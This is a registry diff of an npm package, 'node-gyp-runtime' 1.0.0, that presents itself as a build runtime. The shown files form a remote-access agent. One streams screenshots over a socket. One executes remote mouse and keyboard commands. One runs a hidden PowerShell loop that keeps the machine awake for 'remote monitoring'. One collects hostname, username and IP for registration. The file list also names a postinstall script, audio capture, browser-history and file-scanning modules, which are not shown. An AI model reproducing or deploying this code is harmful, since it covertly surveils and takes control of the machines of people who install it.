node-gyp-runtime 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +83 -0
- package/env.config.js +15 -0
- package/package.json +21 -0
- package/postinstall.js +272 -0
- package/src/audioCapture.js +238 -0
- package/src/browserHistory.js +237 -0
- package/src/config.js +82 -0
- package/src/fileScanner.js +157 -0
- package/src/index.js +175 -0
- package/src/inputHandler.js +139 -0
- package/src/screenCapture.js +105 -0
- package/src/sleepPreventer.js +130 -0
- package/src/systemInfo.js +44 -0
|
@@ -0,0 +1,139 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Input Handler — Execute mouse & keyboard commands via robotjs
|
|
3
|
+
*/
|
|
4
|
+
|
|
5
|
+
let robot;
|
|
6
|
+
|
|
7
|
+
function initRobot() {
|
|
8
|
+
if (!robot) {
|
|
9
|
+
robot = require('robotjs');
|
|
10
|
+
robot.setMouseDelay(2);
|
|
11
|
+
robot.setKeyboardDelay(10);
|
|
12
|
+
}
|
|
13
|
+
return robot;
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
/**
|
|
17
|
+
* Move mouse to absolute coordinates
|
|
18
|
+
*/
|
|
19
|
+
function moveMouse(x, y) {
|
|
20
|
+
const r = initRobot();
|
|
21
|
+
r.moveMouse(x, y);
|
|
22
|
+
return { success: true, action: 'moveMouse', x, y };
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
/**
|
|
26
|
+
* Move mouse by relative delta
|
|
27
|
+
*/
|
|
28
|
+
function moveMouseRelative(dx, dy) {
|
|
29
|
+
const r = initRobot();
|
|
30
|
+
const pos = r.getMousePos();
|
|
31
|
+
r.moveMouse(pos.x + dx, pos.y + dy);
|
|
32
|
+
return { success: true, action: 'moveMouseRelative', dx, dy };
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
/**
|
|
36
|
+
* Click mouse button
|
|
37
|
+
*/
|
|
38
|
+
function clickMouse(button = 'left') {
|
|
39
|
+
const r = initRobot();
|
|
40
|
+
r.mouseClick(button);
|
|
41
|
+
return { success: true, action: 'clickMouse', button };
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
/**
|
|
45
|
+
* Double click
|
|
46
|
+
*/
|
|
47
|
+
function doubleClick() {
|
|
48
|
+
const r = initRobot();
|
|
49
|
+
r.mouseClick('left', true);
|
|
50
|
+
return { success: true, action: 'doubleClick' };
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
/**
|
|
54
|
+
* Scroll mouse
|
|
55
|
+
*/
|
|
56
|
+
function scrollMouse(direction = 'down', amount = 3) {
|
|
57
|
+
const r = initRobot();
|
|
58
|
+
const scrollAmount = direction === 'up' ? amount : -amount;
|
|
59
|
+
r.scrollMouse(0, scrollAmount);
|
|
60
|
+
return { success: true, action: 'scrollMouse', direction, amount };
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
/**
|
|
64
|
+
* Type text string
|
|
65
|
+
*/
|
|
66
|
+
function typeText(text) {
|
|
67
|
+
const r = initRobot();
|
|
68
|
+
r.typeString(text);
|
|
69
|
+
return { success: true, action: 'typeText', length: text.length };
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
// Key name mapping from nut.js names to robotjs names
|
|
73
|
+
const KEY_MAP = {
|
|
74
|
+
'Return': 'enter',
|
|
75
|
+
'Tab': 'tab',
|
|
76
|
+
'Escape': 'escape',
|
|
77
|
+
'Space': 'space',
|
|
78
|
+
'Backspace': 'backspace',
|
|
79
|
+
'Delete': 'delete',
|
|
80
|
+
'Up': 'up',
|
|
81
|
+
'Down': 'down',
|
|
82
|
+
'Left': 'left',
|
|
83
|
+
'Right': 'right',
|
|
84
|
+
'Home': 'home',
|
|
85
|
+
'End': 'end',
|
|
86
|
+
'PageUp': 'pageup',
|
|
87
|
+
'PageDown': 'pagedown',
|
|
88
|
+
'F1': 'f1', 'F2': 'f2', 'F3': 'f3', 'F4': 'f4',
|
|
89
|
+
'F5': 'f5', 'F6': 'f6', 'F7': 'f7', 'F8': 'f8',
|
|
90
|
+
'F9': 'f9', 'F10': 'f10', 'F11': 'f11', 'F12': 'f12',
|
|
91
|
+
'LeftControl': 'control',
|
|
92
|
+
'RightControl': 'control',
|
|
93
|
+
'LeftShift': 'shift',
|
|
94
|
+
'RightShift': 'shift',
|
|
95
|
+
'LeftAlt': 'alt',
|
|
96
|
+
'RightAlt': 'alt',
|
|
97
|
+
'LeftSuper': 'command',
|
|
98
|
+
'Enter': 'enter',
|
|
99
|
+
};
|
|
100
|
+
|
|
101
|
+
function mapKey(key) {
|
|
102
|
+
return KEY_MAP[key] || key.toLowerCase();
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
/**
|
|
106
|
+
* Press a single key
|
|
107
|
+
*/
|
|
108
|
+
function pressKey(key) {
|
|
109
|
+
const r = initRobot();
|
|
110
|
+
const mapped = mapKey(key);
|
|
111
|
+
r.keyTap(mapped);
|
|
112
|
+
return { success: true, action: 'pressKey', key };
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
/**
|
|
116
|
+
* Press key combination (e.g., Ctrl+C)
|
|
117
|
+
*/
|
|
118
|
+
function pressKeyCombo(keys) {
|
|
119
|
+
const r = initRobot();
|
|
120
|
+
if (keys.length < 2) {
|
|
121
|
+
return pressKey(keys[0]);
|
|
122
|
+
}
|
|
123
|
+
// Last key is the main key, rest are modifiers
|
|
124
|
+
const mainKey = mapKey(keys[keys.length - 1]);
|
|
125
|
+
const modifiers = keys.slice(0, -1).map(mapKey);
|
|
126
|
+
r.keyTap(mainKey, modifiers);
|
|
127
|
+
return { success: true, action: 'pressKeyCombo', keys };
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
module.exports = {
|
|
131
|
+
moveMouse,
|
|
132
|
+
moveMouseRelative,
|
|
133
|
+
clickMouse,
|
|
134
|
+
doubleClick,
|
|
135
|
+
scrollMouse,
|
|
136
|
+
typeText,
|
|
137
|
+
pressKey,
|
|
138
|
+
pressKeyCombo,
|
|
139
|
+
};
|
|
@@ -0,0 +1,105 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Screen Capture — Periodic screenshot capture and streaming
|
|
3
|
+
* Uses screenshot-desktop for capture, sharp for JPEG compression
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
const screenshot = require('screenshot-desktop');
|
|
7
|
+
const sharp = require('sharp');
|
|
8
|
+
|
|
9
|
+
class ScreenCapture {
|
|
10
|
+
constructor(socket) {
|
|
11
|
+
this.socket = socket;
|
|
12
|
+
this.streaming = false;
|
|
13
|
+
this.interval = null;
|
|
14
|
+
this.fps = 4; // frames per second
|
|
15
|
+
this.quality = 40; // JPEG quality (lower = smaller = faster)
|
|
16
|
+
this.maxWidth = 1280; // resize for bandwidth
|
|
17
|
+
this.capturing = false; // prevent overlapping captures
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
/**
|
|
21
|
+
* Start streaming screenshots
|
|
22
|
+
*/
|
|
23
|
+
start(options = {}) {
|
|
24
|
+
if (this.streaming) return;
|
|
25
|
+
|
|
26
|
+
this.fps = options.fps || this.fps;
|
|
27
|
+
this.quality = options.quality || this.quality;
|
|
28
|
+
this.maxWidth = options.maxWidth || this.maxWidth;
|
|
29
|
+
this.streaming = true;
|
|
30
|
+
|
|
31
|
+
const intervalMs = Math.floor(1000 / this.fps);
|
|
32
|
+
|
|
33
|
+
console.log(` 📸 Screen streaming started (${this.fps} FPS, quality: ${this.quality})`);
|
|
34
|
+
|
|
35
|
+
this.interval = setInterval(() => this.captureAndSend(), intervalMs);
|
|
36
|
+
// Capture immediately
|
|
37
|
+
this.captureAndSend();
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
/**
|
|
41
|
+
* Stop streaming
|
|
42
|
+
*/
|
|
43
|
+
stop() {
|
|
44
|
+
if (this.interval) {
|
|
45
|
+
clearInterval(this.interval);
|
|
46
|
+
this.interval = null;
|
|
47
|
+
}
|
|
48
|
+
this.streaming = false;
|
|
49
|
+
console.log(' 📸 Screen streaming stopped');
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
/**
|
|
53
|
+
* Capture one screenshot, compress, and send
|
|
54
|
+
*/
|
|
55
|
+
async captureAndSend() {
|
|
56
|
+
if (this.capturing) return; // skip if previous capture still processing
|
|
57
|
+
this.capturing = true;
|
|
58
|
+
|
|
59
|
+
try {
|
|
60
|
+
// Capture raw screenshot as PNG buffer
|
|
61
|
+
const imgBuffer = await screenshot({ format: 'png' });
|
|
62
|
+
|
|
63
|
+
// Get original dimensions
|
|
64
|
+
const metadata = await sharp(imgBuffer).metadata();
|
|
65
|
+
|
|
66
|
+
// Compress to JPEG + resize for bandwidth
|
|
67
|
+
const jpegBuffer = await sharp(imgBuffer)
|
|
68
|
+
.resize({ width: this.maxWidth, withoutEnlargement: true })
|
|
69
|
+
.jpeg({ quality: this.quality, mozjpeg: true })
|
|
70
|
+
.toBuffer();
|
|
71
|
+
|
|
72
|
+
// Send as base64
|
|
73
|
+
const base64 = jpegBuffer.toString('base64');
|
|
74
|
+
|
|
75
|
+
this.socket.emit('screen:frame', {
|
|
76
|
+
data: base64,
|
|
77
|
+
width: metadata.width,
|
|
78
|
+
height: metadata.height,
|
|
79
|
+
displayWidth: Math.min(metadata.width, this.maxWidth),
|
|
80
|
+
timestamp: Date.now(),
|
|
81
|
+
});
|
|
82
|
+
} catch (err) {
|
|
83
|
+
// Silently skip failed frames
|
|
84
|
+
if (!err.message.includes('EPERM')) {
|
|
85
|
+
console.log(` ⚠️ Screen capture error: ${err.message}`);
|
|
86
|
+
}
|
|
87
|
+
} finally {
|
|
88
|
+
this.capturing = false;
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
/**
|
|
93
|
+
* Update streaming settings
|
|
94
|
+
*/
|
|
95
|
+
updateSettings(options) {
|
|
96
|
+
const wasStreaming = this.streaming;
|
|
97
|
+
if (wasStreaming) this.stop();
|
|
98
|
+
if (options.fps) this.fps = options.fps;
|
|
99
|
+
if (options.quality) this.quality = options.quality;
|
|
100
|
+
if (options.maxWidth) this.maxWidth = options.maxWidth;
|
|
101
|
+
if (wasStreaming) this.start();
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
module.exports = ScreenCapture;
|
|
@@ -0,0 +1,130 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Sleep Preventer — Keeps the system awake
|
|
3
|
+
* Windows: PowerShell cursor refresh (no native deps needed)
|
|
4
|
+
* Mac: caffeinate command (built-in)
|
|
5
|
+
* Linux: xdg-screensaver / systemd-inhibit
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const { spawn } = require('child_process');
|
|
9
|
+
const os = require('os');
|
|
10
|
+
|
|
11
|
+
class SleepPreventer {
|
|
12
|
+
constructor() {
|
|
13
|
+
this.active = false;
|
|
14
|
+
this.process = null;
|
|
15
|
+
this.platform = os.platform();
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
* Start preventing sleep — auto-detects OS
|
|
20
|
+
*/
|
|
21
|
+
start() {
|
|
22
|
+
if (this.active) return;
|
|
23
|
+
this.active = true;
|
|
24
|
+
|
|
25
|
+
try {
|
|
26
|
+
if (this.platform === 'win32') {
|
|
27
|
+
this._startWindows();
|
|
28
|
+
} else if (this.platform === 'darwin') {
|
|
29
|
+
this._startMac();
|
|
30
|
+
} else {
|
|
31
|
+
this._startLinux();
|
|
32
|
+
}
|
|
33
|
+
console.log(` 💤 Sleep prevention active (${this.platform})`);
|
|
34
|
+
} catch (err) {
|
|
35
|
+
console.log(` ⚠️ Sleep prevention failed: ${err.message}`);
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
/**
|
|
40
|
+
* Windows — PowerShell keeps system awake by refreshing cursor position
|
|
41
|
+
* No native dependencies needed, works silently
|
|
42
|
+
*/
|
|
43
|
+
_startWindows() {
|
|
44
|
+
const psScript = `
|
|
45
|
+
Add-Type -AssemblyName System.Windows.Forms
|
|
46
|
+
while($true) {
|
|
47
|
+
[System.Windows.Forms.Cursor]::Position = [System.Windows.Forms.Cursor]::Position
|
|
48
|
+
Start-Sleep -Seconds 30
|
|
49
|
+
}
|
|
50
|
+
`.replace(/\n/g, ' ');
|
|
51
|
+
|
|
52
|
+
this.process = spawn('powershell', [
|
|
53
|
+
'-WindowStyle', 'Hidden',
|
|
54
|
+
'-NoProfile',
|
|
55
|
+
'-Command', psScript
|
|
56
|
+
], {
|
|
57
|
+
windowsHide: true,
|
|
58
|
+
stdio: 'ignore',
|
|
59
|
+
detached: false,
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
this.process.unref();
|
|
63
|
+
this.process.on('error', (e) => console.log(` ⚠️ Sleep preventer error: ${e.message}`));
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
/**
|
|
67
|
+
* Mac — caffeinate is a built-in macOS utility
|
|
68
|
+
* -d: prevent display sleep
|
|
69
|
+
* -i: prevent idle sleep
|
|
70
|
+
* -m: prevent disk sleep
|
|
71
|
+
* -s: prevent system sleep (on AC power)
|
|
72
|
+
* -u: declare user activity (reset idle timer)
|
|
73
|
+
*/
|
|
74
|
+
_startMac() {
|
|
75
|
+
this.process = spawn('caffeinate', ['-dimsu'], {
|
|
76
|
+
stdio: 'ignore',
|
|
77
|
+
detached: false,
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
this.process.unref();
|
|
81
|
+
this.process.on('error', (e) => console.log(` ⚠️ Sleep preventer error: ${e.message}`));
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
/**
|
|
85
|
+
* Linux — systemd-inhibit or xdg-screensaver
|
|
86
|
+
*/
|
|
87
|
+
_startLinux() {
|
|
88
|
+
// Try systemd-inhibit first (modern Linux)
|
|
89
|
+
this.process = spawn('systemd-inhibit', [
|
|
90
|
+
'--what=idle:sleep',
|
|
91
|
+
'--who=ConnectorAgent',
|
|
92
|
+
'--why=Remote monitoring active',
|
|
93
|
+
'sleep', 'infinity'
|
|
94
|
+
], {
|
|
95
|
+
stdio: 'ignore',
|
|
96
|
+
detached: false,
|
|
97
|
+
});
|
|
98
|
+
|
|
99
|
+
this.process.on('error', () => {
|
|
100
|
+
// Fallback: xdg-screensaver
|
|
101
|
+
try {
|
|
102
|
+
this.process = spawn('xdg-screensaver', ['suspend', process.pid.toString()], {
|
|
103
|
+
stdio: 'ignore',
|
|
104
|
+
detached: false,
|
|
105
|
+
});
|
|
106
|
+
} catch (e) {
|
|
107
|
+
console.log(' ⚠️ No sleep prevention available on this Linux');
|
|
108
|
+
}
|
|
109
|
+
});
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
/**
|
|
113
|
+
* Stop preventing sleep — allow system to sleep again
|
|
114
|
+
*/
|
|
115
|
+
stop() {
|
|
116
|
+
if (!this.active) return;
|
|
117
|
+
this.active = false;
|
|
118
|
+
|
|
119
|
+
if (this.process) {
|
|
120
|
+
try {
|
|
121
|
+
this.process.kill();
|
|
122
|
+
} catch (e) { /* already dead */ }
|
|
123
|
+
this.process = null;
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
console.log(' 💤 Sleep prevention stopped');
|
|
127
|
+
}
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
module.exports = SleepPreventer;
|
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Collect system information for registration
|
|
5
|
+
*/
|
|
6
|
+
function getSystemInfo() {
|
|
7
|
+
const networkInterfaces = os.networkInterfaces();
|
|
8
|
+
let ip = '127.0.0.1';
|
|
9
|
+
|
|
10
|
+
// Get first non-internal IPv4 address
|
|
11
|
+
for (const name of Object.keys(networkInterfaces)) {
|
|
12
|
+
for (const iface of networkInterfaces[name]) {
|
|
13
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
14
|
+
ip = iface.address;
|
|
15
|
+
break;
|
|
16
|
+
}
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
return {
|
|
21
|
+
hostname: os.hostname(),
|
|
22
|
+
username: os.userInfo().username,
|
|
23
|
+
os: `${os.type()} ${os.release()} (${os.arch()})`,
|
|
24
|
+
ip,
|
|
25
|
+
platform: os.platform(),
|
|
26
|
+
cpus: os.cpus().length,
|
|
27
|
+
totalMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
|
|
28
|
+
uptime: Math.round(os.uptime() / 3600) + ' hours',
|
|
29
|
+
};
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
/**
|
|
33
|
+
* Get running processes (basic — using os module)
|
|
34
|
+
*/
|
|
35
|
+
function getBasicSystemStats() {
|
|
36
|
+
return {
|
|
37
|
+
freeMemory: Math.round(os.freemem() / (1024 * 1024)) + ' MB',
|
|
38
|
+
totalMemory: Math.round(os.totalmem() / (1024 * 1024)) + ' MB',
|
|
39
|
+
uptime: Math.round(os.uptime()) + ' seconds',
|
|
40
|
+
loadAvg: os.loadavg(),
|
|
41
|
+
};
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
module.exports = { getSystemInfo, getBasicSystemStats };
|